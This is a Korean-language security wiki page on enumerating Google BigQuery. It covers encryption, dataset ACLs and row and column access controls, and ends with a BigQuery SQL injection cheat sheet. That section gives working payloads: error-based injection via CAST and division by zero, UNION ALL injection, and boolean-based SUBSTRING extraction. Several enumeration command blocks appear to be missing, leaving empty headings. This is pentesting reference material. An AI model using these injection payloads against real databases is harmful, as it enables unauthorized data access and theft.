GCP - Bigquery Enum
기본 정보
Google Cloud BigQuery는 완전히 관리되는 서버리스 엔터프라이즈 데이터 웨어하우스로, 페타바이트 규모의 데이터를 분석할 수 있는 기능을 제공하여 대규모 데이터셋을 효율적으로 처리합니다. 플랫폼 서비스(PaaS)로, 수동 감시가 필요 없이 데이터 관리를 용이하게 하는 인프라 및 도구를 제공합니다.
ANSI SQL을 사용한 쿼리를 지원합니다. 주요 객체는 테이블을 포함하는 데이터셋입니다.
암호화
기본적으로 Google 관리형 암호화 키가 사용되지만 **고객 관리형 암호화 키 (CMEK)**를 구성할 수 있습니다. 데이터셋 및 데이터셋 내 테이블 당 암호화 키를 지정할 수 있습니다.
만료
데이터셋에 만료 시간을 지정하여 해당 데이터셋에 생성된 새 테이블이 생성 후 지정된 일 수 후에 자동으로 삭제될 수 있습니다.
외부 소스
BigQuery는 다른 Google 서비스와 깊게 통합되어 있습니다. 버킷, pub/sub, Google 드라이브, RDS 데이터베이스에서 데이터를 로드할 수 있습니다.
데이터셋 ACL
데이터셋이 생성되면 ACL이 첨부되어 액세스 권한이 부여됩니다. 기본적으로 데이터셋을 만든 사용자에게 소유자 권한이 부여되며, 그룹 projectOwners (프로젝트 소유자), projectWriters 그룹에는 작성자 권한이, projectReaders 그룹에는 리더 권한이 부여됩니다.
테이블 행 액세스 제어
행 액세스 정책을 사용하여 주요 요소가 테이블 내에서 액세스할 수 있는 행을 제어할 수 있습니다. 이러한 정책은 DDL을 사용하여 테이블 내에서 정의됩니다. 액세스 정책은 필터를 정의하며 해당 필터와 일치하는 행만 지정된 주요 요소에 의해 액세스 가능합니다.
열 액세스 제어
열 수준에서 데이터 액세스를 제한하려면:
분류 체계 및 정책 태그를 정의합니다. 데이터를 위한 분류 체계 및 정책 태그를 생성하고 관리합니다. https://console.cloud.google.com/bigquery/policy-tags
선택 사항: 데이터 카탈로그 세분화된 리더 역할을 하나 이상의 주체에게 부여합니다. 생성한 정책 태그 중 하나 이상에 대해 하나 이상의 주체에게 데이터 카탈로그 세분화된 리더 역할을 부여합니다.
BigQuery 열에 정책 태그 할당합니다. BigQuery에서 스키마 주석을 사용하여 액세스를 제한하려는 각 열에 정책 태그를 할당합니다.
분류 체계에서 액세스 제어를 강제합니다. 액세스 제어를 강제하면 분류 체계의 모든 정책 태그에 대해 정의된 액세스 제한이 적용됩니다.
정책 태그에서 액세스 관리합니다. Identity and Access Management (IAM) 정책을 사용하여 각 정책 태그에 대한 액세스를 제한합니다. 해당 정책은 정책 태그에 속하는 각 열에 대해 적용됩니다.
사용자가 쿼리 시간에 열 데이터에 액세스하려고 할 때, BigQuery는 열 정책 태그 및 해당 정책을 확인하여 사용자가 데이터에 액세스 권한이 있는지 확인합니다.
요약하면, 특정 사용자에게 일부 열에 대한 액세스를 제한하려면 스키마의 열에 태그를 추가하고 사용자의 액세스를 제한할 수 있습니다. 이를 위해 해당 태그의 분류 체계에서 액세스 제어를 강제합니다.
분류 체계에서 액세스 제어를 강제하려면 서비스를 활성화해야 합니다:
다음을 사용하여 열의 태그를 볼 수 있습니다:
열거
BigQuery SQL Injection
더 많은 정보를 원하시면 블로그 게시물을 확인할 수 있습니다: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. 여기에는 일부 세부 정보만 제공됩니다.
주석:
select 1#from here it is not working
select 1/*between those it is not working*/
그러나 초기 것만 작동하지 않음select 1--from here it is not working
환경에 대한 정보 가져오기:
현재 사용자:
select session_user()
프로젝트 ID:
select @@project_id
행 연결:
모든 테이블 이름:
string_agg(table_name, ', ')
데이터셋, 테이블 및 열 이름 가져오기:
프로젝트 및 데이터셋 이름:
데이터셋의 모든 테이블의 열 및 테이블 이름:
동일한 프로젝트의 다른 데이터 세트:
SQL Injection types:
Error based - casting:
select CAST(@@project_id AS INT64)
Error based - division by zero:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Union based (you need to use ALL in bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Boolean based:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potential time based - Usage of public datasets example:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentation:
Scripting statements: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Privilege Escalation & Post Exploitation
GCP - BigQuery PrivescPersistence
GCP - BigQuery PersistenceReferences
Last updated